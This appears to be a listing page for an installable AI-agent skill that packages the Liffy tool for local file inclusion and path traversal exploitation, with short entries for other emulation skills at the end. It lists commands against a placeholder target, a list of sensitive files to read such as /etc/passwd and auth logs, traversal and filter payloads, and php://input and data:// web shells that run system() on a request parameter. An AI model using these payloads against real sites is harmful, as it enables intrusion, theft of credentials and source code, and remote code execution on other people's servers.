offensive-tools/web/liffy/SKILL.md
Auth/lab ref: Liffy LFI/path traversal validation; wrappers, /proc, log artifacts, file-read evidence, WAF-aware replay notes.
npx skillsauth add aeondave/malskill liffyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Modern LFI exploitation tool — file read, wrappers, log poisoning, /proc tricks, WAF bypass.
git clone https://github.com/mzfr/liffy
cd liffy
python3 liffy.py -u "http://target.com/index.php?page=" -x /etc/passwd
# Interactive exploitation flow
python3 liffy.py -u "http://target.com/index.php?page="
| Goal | Technique |
|------|-----------|
| Read local files | Traversal + direct file inclusion |
| Read PHP source | php://filter/convert.base64-encode/resource= |
| Log poisoning → RCE | Apache/Nginx/SSH auth logs |
| Process env RCE | /proc/self/environ |
| Session poisoning | PHP session file inclusion |
| Wrapper abuse | php://input, data://, expect:// |
/etc/passwd
/etc/hosts
/proc/self/environ
/proc/self/cmdline
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/auth.log
/var/lib/php/sessions/sess_<id>
/var/www/html/config.php
# Basic traversal
?file=../../../../etc/passwd
?file=..%2f..%2f..%2fetc%2fpasswd
?file=....//....//etc/passwd
# Source disclosure
?file=php://filter/convert.base64-encode/resource=index.php
# PHP input execution (if include() on request body)
POST /vuln.php?page=php://input
<?php system($_GET['cmd']); ?>
# Data wrapper
?file=data://text/plain,<?php system($_GET['cmd']); ?>
php://filter early; source disclosure is quieter than poisoning.references/lfi-techniques.mddevelopment
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.